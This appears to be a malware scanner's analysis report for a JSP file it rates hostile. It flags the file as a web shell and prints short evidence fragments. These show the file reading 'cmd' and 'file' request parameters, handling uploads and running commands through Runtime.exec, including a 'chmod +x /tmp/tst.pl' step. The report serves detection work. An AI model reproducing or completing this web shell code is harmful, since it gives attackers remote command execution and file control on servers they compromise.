Hostile ^92% Download

苦咖啡专用.jsp

JSP webshell executes commands

JSP runs the cmd request parameterWeb Shell

SHA-256ecdf082e9f45ff9d6b8376c4f83ef177472f65f4f9296bd07efc43bdd3bbcefb

Evidence

JSP reads a request parameter lines 1–12

1<%@page contentType="text/html;charset=utf-8"%>
2<%@page import="java.io.*,java.util.*,java.net.*"%>
3<%
4  	session.setMaxInactiveInterval(6000);
5	final String URL = request.getRequestURI();
6	final String isLogout = request.getParameter("isExit");
7	System.out.println(isLogout);
8	if("isExit".equals(isLogout)){
⋯4 lines

Web Shell lines 147–164

⋯5 lines
152
153		public String getTimeElapsed() {
154			long time = (System.currentTimeMillis() - starttime) / 1000l;
155			if (time - 60l >= 0) {
156				if (time % 60 >= 10)
⋯8 lines

JSP reads cmd request parameter lines 481–500

34… t;
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor;
if (strAfterComma == "")
	strAfterComma = ".0";
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}%>
487<%
⋯4 lines
String strFile = request.getParameter("file");
String strPath = strDir + strSeparator + strFile;
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit = new StringBuffer("");
StringBuffer sbDown = new StringBuffer("");
⋯4 lines

Web Shell - from files 400.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp, webshell-nc.jsp lines 670–682

12…  ht = parser.processData(request.getInputStream(),
		bound, tempdir, clength);
if (ht.get("cqqUploadFile") != null) {
	FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
	File f1 = fi.file;
	UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
	if (info != null && info.aborted) {
		f1.delete();
⋯5 lines

Java getRuntime call reference lines 1095–1104

27… trShell[1];
							strCommand[2] = "chmod +x /tmp/tst.pl";
							//System.out.println(strCommand);
							Process p = Runtime.getRuntime().exec(strCommand, null,
									new File(strDir));
							BufferedReader br = new BufferedReader(
⋯4 lines